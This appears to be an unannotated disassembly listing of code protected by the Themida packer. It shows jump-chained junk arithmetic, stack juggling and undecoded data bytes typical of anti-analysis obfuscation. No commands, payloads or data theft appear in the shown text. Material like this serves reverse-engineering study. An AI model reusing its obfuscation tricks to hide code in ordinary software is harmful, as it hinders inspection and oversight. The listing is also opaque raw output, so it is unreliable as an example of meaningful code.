dd 0B9512434h, 4, 0E959CE89h, 936Dh
; ---------------------------------------------------------------------------
loc_550AF8: ; CODE XREF: Themida_:00559E8Dj
mov edx, [esp]
jmp loc_561928
; ---------------------------------------------------------------------------
loc_550B00: ; CODE XREF: Themida_:0055340Ej
mov ecx, 15962961h
shr ecx, 8
and ecx, 662D6C12h
inc ecx
push ebx
jmp loc_55FFB4
; ---------------------------------------------------------------------------
db 5, 4, 0
dd 4870000h, 62685C24h, 8900005Bh, 6DE9240Ch, 0F700011Ah
dd 7CBD55DEh, 0E9ACB8AAh, 14BFCh, 42474FFh, 14A27E9h
db 0
; ---------------------------------------------------------------------------
loc_550B41: ; CODE XREF: Themida_:00557533j
mov edx, esp
jmp loc_559905
; ---------------------------------------------------------------------------
loc_550B48: ; CODE XREF: Themida_:0055628Cj
add [esp+4], ebx
pop ebx
pop ecx
add ecx, 4
add ecx, 4
xor ecx, [esp]
jmp loc_5658BE
; ---------------------------------------------------------------------------
loc_550B5F: ; CODE XREF: Themida_:00553FE8j
push esp
pop eax
jmp loc_55448F
; ---------------------------------------------------------------------------
aQ5QiYsh db 'Q╧5:$Q┴оYИhа',0
align 4
loc_550B74: ; CODE XREF: Themida_:005573B6j
mov edi, 1CE132A0h
mov eax, edi
pop edi
add eax, 76CD7B7Dh
sub eax, 93AEAE1Dh
jmp loc_561263
; ---------------------------------------------------------------------------
db 89h
dd 6F682414h, 89000046h, 0BD55243Ch, 436620E3h, 3EBF5755h
dd 310C9C3Ah, 0E904247Ch, 1286Dh, 0F308E3B6h, 8EF3805Ah
dd 88DD8851h, 34FF59EEh, 241C8B24h, 4C481h, 0C4810000h
dd 4, 8B66F030h, 39E92414h
db 0FDh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_550BD7: ; CODE XREF: Themida_:0055475Bj
add edx, 4
xor edx, [esp]
xor [esp], edx
jmp loc_55E436
; ---------------------------------------------------------------------------
dd 5A11EB81h, 0BA527D71h, 67433DBh, 0F33C281h, 0E2C1652Ah
dd 6CA8102h, 0C175E17Ch, 0D2F706E2h, 58AAEA81h, 0CDE93945h
db 1Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_550C13: ; CODE XREF: Themida_:00555E14j
mov eax, [esp]
add esp, 4
push ebp
mov ebp, 4
add eax, ebp
jmp loc_558E70
; ---------------------------------------------------------------------------
dw 0EF01h
dd 5D2434FFh, 0A4B6850h, 24890000h, 24048124h, 4, 40558h
dd 0C0830000h, 24048704h, 3324248Bh, 3C31243Ch, 243C3324h
dd 0C148E95Ch, 0CD890000h, 2F57E959h
db 1, 0
; ---------------------------------------------------------------------------
loc_550C62: ; CODE XREF: Themida_:0055AF49j
push esp
mov esi, [esp]
add esp, 4
jmp loc_5605F7
; ---------------------------------------------------------------------------
loc_550C71: ; CODE XREF: Themida_:00555EBDj
pop edx
sub ebx, 36665965h
jmp loc_564499
; ---------------------------------------------------------------------------
loc_550C7D: ; CODE XREF: Themida_:0055C3CDj
xchg edx, [esp]
jmp loc_55DCD8
; ---------------------------------------------------------------------------
byte_550C85 db 0ADh, 55h, 50h ; DATA XREF: Themida_:005507ACo
dd 0FB041CB8h, 481501Dh, 0BD752424h, 0ED815D72h, 72BD7524h
dd 8324048Bh, 0BA5204C4h, 5BB31963h, 5F5A5752h, 473DBD55h
dd 0CD8104B1h, 7B9010DEh, 2C1EE581h, 0CD8167C9h, 1F735B8Fh
dd 7ECBE581h, 0ED81340Fh, 34035E8Ch, 7F8EE9h, 68DDF700h
dd 5748h, 0BA241489h, 4588512Bh, 525AD509h, 3B97E9h, 5BF80800h
dd 0B2CD0F6h, 12E4DE9h
db 0
; ---------------------------------------------------------------------------
loc_550CF9: ; CODE XREF: Themida_:00558B30j
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
or ebx, ebx
jmp loc_55BF65
; ---------------------------------------------------------------------------
byte_550D15 db 0FFh, 77h, 3Ch ; DATA XREF: Themida_:00550870o
dd 8B2434FFh, 68502404h, 5077h, 343AE954h
db 1, 0
; ---------------------------------------------------------------------------
loc_550D2A: ; CODE XREF: Themida_:0055C262j
mov [esp], edx
mov dh, 1Eh
and dh, 45h
or dh, 18h
jmp loc_551037
; ---------------------------------------------------------------------------
word_550D3A dw 30ACh ; DATA XREF: Themida_:005507BCo
dd 2EC83D8h, 241C8966h, 0D830CEB3h, 241C8B66h, 44B96850h
dd 72E90000h, 8100004Dh, 4C4h, 4C48300h, 0F670B450h, 0E1CC80DCh
dd 0D451E9h, 24048900h, 42474FFh, 8324048Bh, 48F04C4h
dd 27D9E924h, 0BE560000h, 500C535Fh, 152BD405h, 4DFC0531h
dd 0F00129E8h, 0E84DFC2Dh, 2BD42D29h, 295E3115h, 0CA6FE9F8h
dd 0FE890000h, 4CE9595Fh, 0BB00013Eh, 115E7724h, 0E905E3C1h
dd 66D7h
; ---------------------------------------------------------------------------
loc_550DBC: ; CODE XREF: Themida_:00556577j
pop esi
jmp loc_55A993
; ---------------------------------------------------------------------------
dw 34FFh
dd 0C4815924h, 4, 0DF87CF87h, 2414F753h, 0CCEEE9h, 0CCE98100h
dd 0E93DB641h, 13A51h
; ---------------------------------------------------------------------------
loc_550DE4: ; CODE XREF: Themida_:0056561Aj
push edx
push 4883h
jmp loc_55EBBE
; ---------------------------------------------------------------------------
loc_550DEF: ; CODE XREF: Themida_:005534A1j
xchg ecx, [esp]
pop esp
mov edx, [esp]
add esp, 4
jmp loc_565216
; ---------------------------------------------------------------------------
aSu7 db '\И·7',0
db 0
; ---------------------------------------------------------------------------
loc_550E07: ; CODE XREF: Themida_:0055D6B0j
pop esi
jmp loc_55BFCF
; ---------------------------------------------------------------------------
db 0C0h, 0E0h, 7
dd 0C708E504h, 0D6CF8058h, 3062F780h, 0EEC05BFEh, 6EEC008h
dd 0F13BE9h, 0E9FE2900h, 0B780h, 662128BDh, 2129BA61h
dd 0EA316166h, 5AD6295Dh, 4FC8BB53h, 0EC832855h, 678E904h
dd 9C500000h, 0B635E9h, 7948BE00h, 0F3894240h, 67C3815Eh
dd 81610392h, 2E065EEFh, 81DF293Fh, 2E065EC7h, 0E82D5B3Fh
dd 2974DA64h, 64E805F8h, 685F74DAh, 3768h, 52243489h, 1D0A2668h
dd 0B8505A57h, 602566E7h, 90E9C201h
db 6, 1, 0
; ---------------------------------------------------------------------------
loc_550E9B: ; CODE XREF: Themida_:00559DF2j
add esi, ebp
add esi, 94F0382h
sub esi, 3C374030h
jmp loc_563F4F
; ---------------------------------------------------------------------------
loc_550EAE: ; CODE XREF: Themida_:005637A0j
add ebp, ecx
pop ecx
mov edi, [esp]
add esp, 4
xor [esp+4], ebp
jmp loc_5624DE
; ---------------------------------------------------------------------------
loc_550EC3: ; CODE XREF: Themida_:00553F40j
sub esp, 4
jmp loc_551395
; ---------------------------------------------------------------------------
loc_550ECE: ; CODE XREF: Themida_:0055A575j
sub dword ptr [esp+4], 6DBA2B26h
jmp loc_55C234
; ---------------------------------------------------------------------------
db 50h
dd 33329FB8h, 0FFC5210Fh, 81582434h, 4C4h, 2EDC100h, 7F5FC581h
dd 0B68FFF7h, 89000039h, 34FF242Ch, 89505924h, 405E0h
dd 0C0830000h, 24048704h, 2434FF5Ch, 7856E9h
db 0
; ---------------------------------------------------------------------------
loc_550F19: ; CODE XREF: Themida_:00551EDBj
add ebp, 4
jmp loc_553F36
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 4C48358h, 12E168h, 24348900h, 6857E689h, 4436h, 0BB241C89h
dd 2E5A4F07h, 10706E9h, 4CB66800h, 0B5E90000h, 50000078h
dd 0CB29FDB8h, 89DFE946h, 2FB40000h, 80D9CC80h, 0C2B387C4h
dd 0E82AE9h, 3E1C100h, 605EE181h, 0D9F71CA0h, 0E981D1F7h
dd 0B983262Ah, 743DE9h, 0C3815B00h, 4, 4BF57h, 0EB810000h
dd 623E2E81h, 38BBEB81h, 0FB013713h, 38BBC381h, 0C3813713h
dd 623E2E81h, 43A9E9h, 24248B00h, 2474FF50h, 48F5804h
dd 24248B24h, 582434FFh, 68E78957h, 76CBh, 0BE243489h
dd 73230CA2h, 0F6E9D6F7h
db 1Ah, 1, 0
byte_550FD7 db 66h ; DATA XREF: Themida_:00550934o
dd 0E9240C8Bh, 0C58Ah
; ---------------------------------------------------------------------------
loc_550FE0: ; CODE XREF: Themida_:0055D390j
sub bl, 78h
add al, 0C7h
jmp loc_553C63
; ---------------------------------------------------------------------------
loc_550FEA: ; CODE XREF: Themida_:0056346Ej
or ebp, esi
jmp loc_556BC4
; ---------------------------------------------------------------------------
db 0BEh, 4, 0
dd 0B2E90000h, 0E9000101h, 0FFFFF9AFh
; ---------------------------------------------------------------------------
loc_551000: ; CODE XREF: Themida_:0055656Fj
push dword ptr [esp]
jmp loc_561F32
; ---------------------------------------------------------------------------
dd 4C681h, 34330000h, 250DE924h, 0F5010001h, 8324348Bh
dd 0C58304C4h, 242C8704h, 4C5DE9h, 0F2685200h, 8B601E6Ch
dd 1E92414h
db 0B8h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_551037: ; CODE XREF: Themida_:00550D35j
sub dh, 4Fh
xor al, dh
mov edx, [esp]
add esp, 4
neg al
jmp loc_558B12
; ---------------------------------------------------------------------------
db 1, 0DFh, 81h
dd 5718B2C7h, 0EF815B29h, 4, 2474FF57h, 48F5F04h, 24248B24h
dd 0E9240C89h, 0B2A6h
; ---------------------------------------------------------------------------
loc_55106C: ; CODE XREF: Themida_:0056409Fj
add edx, 4
xchg edx, [esp]
pop esp
push ebx
push ebp
jmp loc_55913C
; ---------------------------------------------------------------------------
loc_55107A: ; CODE XREF: Themida_:005557BEj
push edx
mov edx, 309750D0h
or edx, 23B608E5h
jmp loc_556555
; ---------------------------------------------------------------------------
aQssx db 'ЁQИХX',0
align 2
aISL db '\┴,$И:╚',0
dw 0BB00h
dd 42087D87h, 14113E9h
db 0
; ---------------------------------------------------------------------------
loc_5510A5: ; CODE XREF: Themida_:00552E48j
or eax, eax
jz loc_555E86
push 46E0h
jmp loc_55972C
; ---------------------------------------------------------------------------
aEaNAinsc db ',┘─цN(ц─КNИФ╫',0
align 2
dw 5E35h
dd 8105B62Dh, 0A30821EEh, 80B85043h, 294C3268h, 0ED4BE9C6h
dd 0EB800000h, 2705E95Ch, 48B0000h, 4C48324h, 4EC81h, 14890000h
dd 4EC8324h, 0E9242489h, 14AE5h, 46243481h, 593BDB57h
dd 5746BE56h, 0F1313BDBh, 34FF585Eh, 0E86E924h, 0E95D0000h
dd 4222h, 3F243481h, 8B33B321h, 47E92434h, 81000012h, 4ECh
dd 240C8900h, 4EC81h, 24890000h, 4BA5224h, 1000000h, 5A042454h
dd 4C18159h, 83000000h, 0FF5102C1h, 0E9042474h, 0B6FEh
dd 66C7815Fh, 2920C23Eh, 34FF5FFBh, 0C4835A24h, 0F013E904h
dd 0C870000h, 0EC815C24h, 4, 53243489h, 140DE9h
db 0
; ---------------------------------------------------------------------------
loc_551189: ; CODE XREF: Themida_:00554E9Dj
mov edi, 6966653Eh
jmp loc_553EA0
; ---------------------------------------------------------------------------
db 81h
dd 408405F7h, 3CF6E982h
db 1, 0
word_55119E dw 0C8Bh ; DATA XREF: Themida_:0055084Co
dd 4EC8324h, 54240C89h, 5EE95559h, 520000BBh, 13D45E9h
dd 0EF815900h, 37FD7907h, 2334EF81h, 0EF0154A8h, 2334C781h
dd 0C78154A8h, 37FD7907h, 2434FF5Dh, 4C4835Bh, 107D3E9h
dd 40500h, 9E90000h
db 88h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5511E7: ; CODE XREF: Themida_:005593CAj
pop ecx
pop eax
sub esp, 4
mov [esp], esi
mov esi, 317635EFh
push esi
dec dword ptr [esp]
pop esi
push edi
push edx
mov edx, 353B1941h
push edx
mov edx, 7A515417h
mov edi, 521359ADh
sub edi, edx
pop edx
jmp loc_56210E
; ---------------------------------------------------------------------------
loc_551216: ; CODE XREF: Themida_:0056387Cj
pop ebx
sub eax, ecx
jmp loc_558360
; ---------------------------------------------------------------------------
loc_55121E: ; CODE XREF: Themida_:005567B3j
push edi
push ebx
mov ebx, 0E520497h
mov edi, 106C09A1h
sub edi, ebx
pop ebx
dec edi
shl edi, 3
sub edi, 538A1447h
shl edi, 6
sub edi, 0FFFFFFFFh
jmp loc_557FC2
; ---------------------------------------------------------------------------
loc_551242: ; CODE XREF: Themida_:00557044j
add dword ptr [esp], 4
pop edx
push eax
mov eax, 4
add edx, eax
jmp loc_5513AA
; ---------------------------------------------------------------------------
db 89h
dd 4C381E3h, 81000000h, 4C3h, 74FF5300h, 8F5B0424h, 0E95C2404h
dd 10105h
; ---------------------------------------------------------------------------
loc_551274: ; CODE XREF: Themida_:00560272j
pop dword ptr [esp]
mov esp, [esp]
push eax
push ebx
jmp loc_560D9E
; ---------------------------------------------------------------------------
loc_551281: ; CODE XREF: Themida_:0055CF77j
mov ecx, [esp]
add esp, 4
add ecx, 4
push 0AF2h
mov [esp], eax
sub esp, 4
mov [esp], ebp
push 62D801EAh
jmp loc_559CF2
; ---------------------------------------------------------------------------
db 53h, 68h, 7Bh
dd 5B4FB84Ch, 2707EB81h, 0DA8923A0h, 0C0C2815Bh, 0F7781B7Ch
dd 5E2C1DAh, 0EBD1E9h, 0DEEA8100h, 0E96F6119h, 1ABCh, 55F1015Fh
dd 102688BDh, 0F6CD8123h, 8163AC55h, 692228E5h, 10ED817Fh
dd 0E9F9E0A9h, 78CAh, 0F400DDB4h, 0E924148Bh, 13C91h
; ---------------------------------------------------------------------------
loc_5512FC: ; CODE XREF: Themida_:0055632Bj
add eax, edi
mov edi, [esp]
add esp, 4
xor ebx, eax
push 45Dh
jmp loc_55F43E
; ---------------------------------------------------------------------------
loc_551310: ; CODE XREF: Themida_:00557D6Cj
push ecx
mov ecx, 40D22618h
push ebp
mov ebp, 73DB5011h
xor ecx, ebp
pop ebp
add eax, ecx
pop ecx
push esi
push ecx
mov ecx, 61BB3E9Dh
not ecx
sub ecx, 9A197DFBh
mov esi, ecx
jmp loc_553379
; ---------------------------------------------------------------------------
dword_551338 dd 24048B66h, 4EC81h, 14890000h, 81E28924h, 4C2h, 4C346800h
; DATA XREF: Themida_:00550894o
dd 0DBE90000h, 810000CBh, 0F363A0EBh, 8924E947h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_551362: ; CODE XREF: Themida_:0055258Aj
add dword ptr [esp+4], 7A35433Dh
sub dword ptr [esp+4], 132C1CF8h
push ebp
jmp loc_55A0F2
; ---------------------------------------------------------------------------
dd 0FFF632E9h
db 0FFh
byte_55137D db 64h, 66h, 0Fh ; DATA XREF: Themida_:005508F4o
dd 686602B6h, 896679AAh, 20E92404h, 51FFFFF6h, 3446E9h
db 0
; ---------------------------------------------------------------------------
loc_551395: ; CODE XREF: Themida_:00550EC9j
mov [esp], ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_564ADC
; ---------------------------------------------------------------------------
loc_5513AA: ; CODE XREF: Themida_:00551252j
pop eax
sub esp, 4
mov [esp], esi
mov esi, 4
add edx, esi
pop esi
push 6C35h
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
jmp loc_5605AB
; ---------------------------------------------------------------------------
db 89h
dd 4EC81E6h, 89000000h, 4BF243Ch, 1000000h, 243C8BFEh
dd 8104C483h, 4C6h, 24348700h, 2C7835Ch, 2474FF57h, 48F5F04h
dd 24248B24h, 9C2424D3h, 0FFF5A6E9h, 4C181FFh, 51000000h
dd 42474FFh, 24048F59h, 123D6E9h, 24348700h, 8924248Bh
dd 4BD242Ch, 1000000h, 242C8BE8h, 2C4568h, 9EF2E900h, 4830000h
dd 83580424h, 0C8904ECh, 4B924h, 3FE90000h
db 47h, 1, 0
; ---------------------------------------------------------------------------
loc_55144F: ; CODE XREF: Themida_:00560C6Bj
sub ax, 1D0Bh
neg ax
jmp loc_55FCCF
; ---------------------------------------------------------------------------
loc_55145B: ; CODE XREF: Themida_:00558E8Dj
pop edx
mov edi, ecx
push dword ptr [esp]
mov ecx, [esp]
jmp loc_557A13
; ---------------------------------------------------------------------------
loc_551469: ; CODE XREF: Themida_:00559346j
xor ax, dx
jmp loc_5626CC
; ---------------------------------------------------------------------------
loc_551471: ; CODE XREF: Themida_:0055CB7Dj
push eax
jmp loc_55EE21
; ---------------------------------------------------------------------------
db 8Bh
dd 34FF5B0Bh, 0E9565A24h, 4FF7h
; ---------------------------------------------------------------------------
loc_551484: ; CODE XREF: Themida_:0055A999j
mov [esp], edx
mov edx, 40000h
and eax, edx
push dword ptr [esp]
mov edx, [esp]
jmp loc_55DA52
; ---------------------------------------------------------------------------
db 5, 16h, 6Bh
dd 0C8010579h, 4EC81h, 2C890000h, 61B85024h, 895A701Ah
dd 0C58158C5h, 0DE24E14h, 0F3E94D4Dh
db 71h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5514BF: ; CODE XREF: Themida_:00565A59j
shl edx, 1
jmp loc_55BD9C
; ---------------------------------------------------------------------------
dw 1489h
dd 0D297BA24h, 0B951F760h, 2D470F37h, 0C104E1C1h, 0C18105E1h
dd 9611F4CAh, 1DE4E9h, 242C8900h, 644D83BDh, 5DEE093Ch
dd 6092BD55h, 0EE01E54Dh, 0F7E9565Dh, 83000016h
db 0C4h, 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push edx
push ebp
mov ebp, 3AED4B43h
push edi
mov edi, 32C147F3h
and ebp, edi
jmp loc_565388
; ---------------------------------------------------------------------------
db 81h, 0C2h, 6Eh
dd 1026ADAh, 0EF815AD7h, 1A6E1568h, 2C7835Bh, 8904EC83h
dd 74FF243Ch, 34FF0424h, 243C8B24h, 0BB72E9h, 40500h, 42D0000h
dd 50000000h, 8D8DE9h, 4EC8300h, 0E632E9h, 0C2815A00h
dd 4, 5204EA83h, 42474FFh, 8124148Bh, 4C4h, 0CB29E900h
dd 0EE090000h, 1CB9515Dh, 8104B97Fh, 992029F1h, 0DFF18105h
dd 0E94145DBh, 0E3E3h
; ---------------------------------------------------------------------------
loc_5515A0: ; CODE XREF: Themida_:00561B78j
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
jmp loc_564228
; ---------------------------------------------------------------------------
dw 0C681h
dd 4, 5604EE83h, 42474FFh, 8474E9h, 2BC98100h, 0F709D308h
dd 8225E9D1h, 0CF010000h, 6868C781h, 1595315h, 2879E9F9h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5515DE: ; CODE XREF: Themida_:005627CBj
pop esp
push eax
push dword ptr [esp+4]
mov eax, [esp]
jmp loc_55FD7D
; ---------------------------------------------------------------------------
loc_5515EC: ; CODE XREF: Themida_:005594BFj
mov ecx, [esp]
jmp loc_55921B
; ---------------------------------------------------------------------------
dd 8B241C33h, 34FF2424h, 24048B24h, 0A0D1E9h, 5FF82900h
dd 0E9240487h, 12333h, 207F83h, 0D98C840Fh, 0E9500000h
dd 1258h
; ---------------------------------------------------------------------------
loc_551620: ; CODE XREF: Themida_:00561A91j
mov ebx, 33DD2184h
mov ebp, 33DD2188h
sub ebp, ebx
pop ebx
sub edi, 249760FEh
add edi, ebp
push eax
jmp loc_55F5BB
; ---------------------------------------------------------------------------
db 9
dd 24348BF0h, 8B6DE9h
db 0
; ---------------------------------------------------------------------------
loc_551645: ; CODE XREF: Themida_:0055E180j
shl ecx, 7
sub ecx, 1FC9D532h
mov edi, ecx
mov ecx, [esp]
add esp, 4
sub ebx, edi
pop edi
shr ebx, 2
jmp loc_55982F
; ---------------------------------------------------------------------------
byte_551661 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0055092Co
dd 5624048Bh, 0C681E689h, 4, 8704C683h, 555C2434h, 10AC68h
dd 0E54FE900h, 0B8500000h, 3A45055Bh, 0F305D8F7h, 0F7687A38h
dd 5E8D1D8h, 6F344529h, 2EA5E9h
db 0
; ---------------------------------------------------------------------------
loc_55169D: ; CODE XREF: Themida_:0055496Dj
add esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
and eax, ebx
pop ebx
shr eax, 0Bh
xor ecx, eax
push 2FAAh
mov [esp], esi
jmp loc_55C5F8
; ---------------------------------------------------------------------------
loc_5516C2: ; CODE XREF: Themida_:0055A4DCj
push esi
push ebx
push 45BC7357h
pop ebx
jmp loc_55CB4E
; ---------------------------------------------------------------------------
loc_5516CF: ; CODE XREF: Themida_:00554A0Dj
pop esi
push edi
mov edi, 2
jmp loc_55E28E
; ---------------------------------------------------------------------------
loc_5516DB: ; CODE XREF: Themida_:005569D8j
mov edx, [esp]
jmp loc_55C267
; ---------------------------------------------------------------------------
db 81h
dd 4EFh, 243C8700h, 242C895Ch, 4BDh, 246C0100h, 242C8B04h
dd 81E68956h, 4C6h, 4C68100h, 87000000h, 0E95C2434h, 3464h
; ---------------------------------------------------------------------------
loc_551714: ; CODE XREF: Themida_:0055B157j
add edi, 4
sub esp, 4
jmp loc_558557
; ---------------------------------------------------------------------------
db 81h, 0EEh, 0EBh
dd 0E9242E72h, 7CF7h
; ---------------------------------------------------------------------------
loc_551730: ; CODE XREF: Themida_:0055653Aj
mov esp, [esp]
jmp loc_55C25D
; ---------------------------------------------------------------------------
dd 24048B54h, 4C481h, 4050000h, 2D000000h, 4, 5C240487h
dd 8907E9h
db 0
; ---------------------------------------------------------------------------
loc_551755: ; CODE XREF: Themida_:0055C8CAj
push 2540h
jmp loc_564210
; ---------------------------------------------------------------------------
db 55h
dd 2E2E6852h, 815A6BBEh, 0FB0474EAh, 33F28175h, 0E9503657h
dd 0D10h, 0E95DEB89h, 0BE2Fh, 2404D366h, 0F225E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55178A: ; CODE XREF: Themida_:00553206j
add edx, eax
sub edx, 7C9849ECh
jmp loc_564683
; ---------------------------------------------------------------------------
db 59h
dd 8056F680h, 0E6C061C6h, 0B0505102h, 0CCEEE9E0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5517AA: ; CODE XREF: Themida_:00561A01j
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_559C5F
; ---------------------------------------------------------------------------
db 1, 0D7h, 8Bh
dd 0EC832414h, 241C8904h, 0B850E389h, 4, 62C6E9h
db 0
; ---------------------------------------------------------------------------
loc_5517D5: ; CODE XREF: Themida_:0055822Fj
pop ebp
sub edi, ebx
sub edi, 7EFA77FFh
sub edi, 49C24664h
push dword ptr [esp]
mov ebx, [esp]
jmp loc_552335
; ---------------------------------------------------------------------------
loc_5517EF: ; CODE XREF: Themida_:0056125Ej
sub ebx, 748C0BCEh
sub ebx, 276E7941h
add ebx, edi
push esi
jmp loc_553015
; ---------------------------------------------------------------------------
db 81h
dd 4804246Ch, 1253248h, 8104247Ch, 48042444h, 5F253248h
dd 81241C8Bh, 4C4h, 4C38100h, 51000000h, 157481B9h, 81D1F76Ah
dd 0BB2780F1h, 8EC98105h, 817A583Ah, 59BEFCE9h, 8BCB01FAh
dd 6852240Ch, 40ECh, 81242489h, 42404h, 0D4E90000h, 290000F2h
dd 0CBDEE9F8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_551862: ; CODE XREF: Themida_:00564F1Dj
or edx, 2F3A46F5h
push eax
mov eax, 2E4A4BC6h
jmp loc_56232A
; ---------------------------------------------------------------------------
loc_551873: ; CODE XREF: Themida_:00561C45j
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_55332D
; ---------------------------------------------------------------------------
db 0C1h, 0EEh, 8
dd 3343C681h, 0F2293A60h, 0BB53565Eh, 5F6822F2h, 0DAE9DE89h
db 0ECh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5518A3: ; CODE XREF: Themida_:005574B9j
push eax
mov eax, 694F7DC3h
jmp loc_55CCC2
; ---------------------------------------------------------------------------
loc_5518AE: ; CODE XREF: Themida_:00563029j
mov [esp], edx
mov edx, 4
sub esi, 74714808h
add esi, edx
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edi
push ebp
jmp loc_562294
; ---------------------------------------------------------------------------
db 89h
dd 0CEBF5DEEh, 3109B931h, 0B9515EF7h, 77577DF4h, 0D1C1E9h
dd 66E95B00h, 5F000017h, 8308E8C1h, 0E00501C0h, 29415056h
dd 0B2E958C3h, 83000077h, 0C9E904C4h
db 0Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55190F: ; CODE XREF: Themida_:0055B2FAj
mov [esp], cx
movzx cx, al
jmp loc_55EF11
; ---------------------------------------------------------------------------
loc_55191C: ; CODE XREF: Themida_:00565C8Bj
push ecx
push 554C6FE6h
pop ecx
add ecx, 6BEBE644h
mov esi, ecx
jmp loc_564E38
; ---------------------------------------------------------------------------
loc_551930: ; CODE XREF: Themida_:0055C639j
add eax, ebx
sub eax, 3D8D47ECh
push dword ptr [esp]
pop ebx
sub esp, 4
mov [esp], edi
mov edi, esp
push ecx
push edi
mov edi, 4
mov ecx, edi
pop edi
sub edi, 163C348Ah
add edi, ecx
add edi, 163C348Ah
mov ecx, [esp]
jmp loc_55BFC4
; ---------------------------------------------------------------------------
dw 0ED81h
dd 258E417Ah, 0C581DDF7h, 0FC9CF218h, 15DEA89h, 24148BD5h
dd 4C481h, 0D7E90000h
db 41h, 1, 0
; ---------------------------------------------------------------------------
loc_551987: ; CODE XREF: Themida_:00563BB4j
add ebp, edi
pop edi
add ebp, 4
xchg ebp, [esp]
pop esp
and ecx, esi
mov esi, [esp]
add esp, 4
shr ecx, 2
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
sub esp, 4
mov [esp], ebx
pop edi
push eax
push esp
pop eax
push ebx
jmp loc_55A095
; ---------------------------------------------------------------------------
db 87h, 34h, 24h
dd 2414895Ch, 4BAh, 0D4E95200h
db 0E8h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5519D7: ; CODE XREF: Themida_:0055D8EEj
mov ecx, 4
jmp loc_55895A
; ---------------------------------------------------------------------------
db 4Eh, 81h, 0EEh
dd 0C610CE5h, 30DBF681h, 0F0E903D9h
db 5, 1, 0
; ---------------------------------------------------------------------------
loc_5519F3: ; CODE XREF: Themida_:0055A2FDj
pop ebx
add ebp, 2
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_560807
; ---------------------------------------------------------------------------
loc_551A05: ; CODE XREF: Themida_:0055BDA1j
mov [esp], ebp
mov ebp, 63FE4B8Eh
push ebx
jmp loc_564B17
; ---------------------------------------------------------------------------
loc_551A13: ; CODE XREF: Themida_:00560F8Dj
add esp, 4
push edx
mov edx, 6EBB0DCCh
jmp loc_556700
; ---------------------------------------------------------------------------
loc_551A21: ; CODE XREF: Themida_:0055F624j
shr eax, 1
jmp loc_55B4B0
; ---------------------------------------------------------------------------
dd 5C240433h, 8DF3E9h, 2DD80100h, 37090F79h, 79B3BF57h
dd 0F8297704h, 3759685Fh, 2C890000h, 4EC8324h, 68240C89h
dd 49226476h, 0DB41E9h, 9BBF5700h, 0E906234Bh, 1242Fh
dd 5A2414F7h, 0D513F281h, 5FE90238h, 890000DCh, 0C2295BD8h
dd 0CCEA8158h, 0E915E772h, 53FBh, 48BE300h, 4C48324h, 8685166h
dd 8900005Ch, 0D5B7241Ch, 0D8DDE9h, 0E9535C00h, 0FFFFF094h
; ---------------------------------------------------------------------------
loc_551AA4: ; CODE XREF: Themida_:0056336Aj
add esp, 4
add esi, 4
jmp loc_559F77
; ---------------------------------------------------------------------------
db 2Dh, 4, 0
dd 33E90000h
db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_551ABF: ; CODE XREF: Themida_:0055F29Ej
mov bl, al
jmp loc_55FAFD
; ---------------------------------------------------------------------------
dw 0DA31h
dd 0DDE2815Bh, 0E902AD71h, 343Fh, 0FBA8E955h, 3C89FFFFh
dd 3C8B5424h, 0EC835624h, 24248904h, 4240481h, 8B000000h
dd 0C4812434h, 4, 4C681h, 0C6830000h, 24348704h, 0EFBD555Ch
dd 52466956h, 0CE0A5FBAh, 0E281424Ah, 287621B3h, 0E904EC83h
dd 12CAEh
; ---------------------------------------------------------------------------
loc_551B20: ; CODE XREF: Themida_:0055211Aj
xchg edi, [esp]
pop esp
sub esp, 4
mov [esp], edi
jmp loc_55EC2A
; ---------------------------------------------------------------------------
loc_551B32: ; CODE XREF: Themida_:00557243j
add ah, 34h
dec ah
add ah, 7Bh
add ah, 0BCh
jmp loc_551E10
; ---------------------------------------------------------------------------
dw 483h
dd 348B0424h, 0E3895324h, 7ABCE9h
db 0
; ---------------------------------------------------------------------------
loc_551B51: ; CODE XREF: Themida_:0055DB3Aj
mov esi, 3890B4Fh
add esi, 1
xor esi, 3890B52h
mov eax, esi
pop esi
add edx, 0E507A3Ah
sub edx, eax
push ebx
jmp loc_553F09
; ---------------------------------------------------------------------------
loc_551B70: ; CODE XREF: Themida_:00565A03j
mov eax, esp
add eax, 4
add eax, 4
push eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
jmp loc_5528E5
; ---------------------------------------------------------------------------
db 2Dh, 4, 0
dd 4870000h, 34895C24h, 99D9E924h, 0C7810000h, 4, 0E9243C87h
dd 0FFFFF249h, 0E95DEB89h, 0FFFFF028h, 0F1C68h, 243C8900h
dd 0D7E9CF89h, 5EFFFFF1h, 4BD55h, 0EE010000h, 4C6835Dh
